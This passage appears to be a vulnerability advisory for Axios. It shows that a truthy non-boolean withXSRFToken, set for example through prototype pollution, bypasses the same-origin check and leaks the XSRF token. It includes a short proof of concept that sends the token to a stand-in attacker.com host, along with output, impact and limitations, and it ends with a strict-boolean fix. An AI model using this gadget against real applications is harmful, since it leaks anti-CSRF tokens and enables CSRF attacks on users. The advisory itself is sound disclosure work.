Integrity	Low	Stolen XSRF token enables CSRF attacks (bypass CSRF protection only)
Availability	None	No availability impact

Usage of Helper Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Designed behavior: - true → always send token (explicit cross-origin opt-in) - false → never send token - undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []): - All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value        Sends Token Cross-Origin  Expected
true (boolean)             YES                       Yes (opt-in)
false (boolean)            No                        No
undefined (default)        No                        No
1 (number)                 YES ← BUG                No
"false" (string)           YES ← BUG                No
{} (object)                YES ← BUG                No
[] (array)                 YES ← BUG                No

Prototype pollution:
  Object.prototype.withXSRFToken = 1
  config.withXSRFToken = 1 → leaks=true
  isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

• XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
• Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
• Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations: - Browser-only (XSRF logic runs only in hasStandardBrowserEnv) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
  (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) {
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Resources

• CWE-201: Insertion of Sensitive Information Into Sent Data
• CWE-183: Permissive List of Allowed Inputs
• GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
• Axios GitHub Repository

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: corrected CVSS, documented limitations
TBD	Report submitted to vendor via GitHub Security Advisory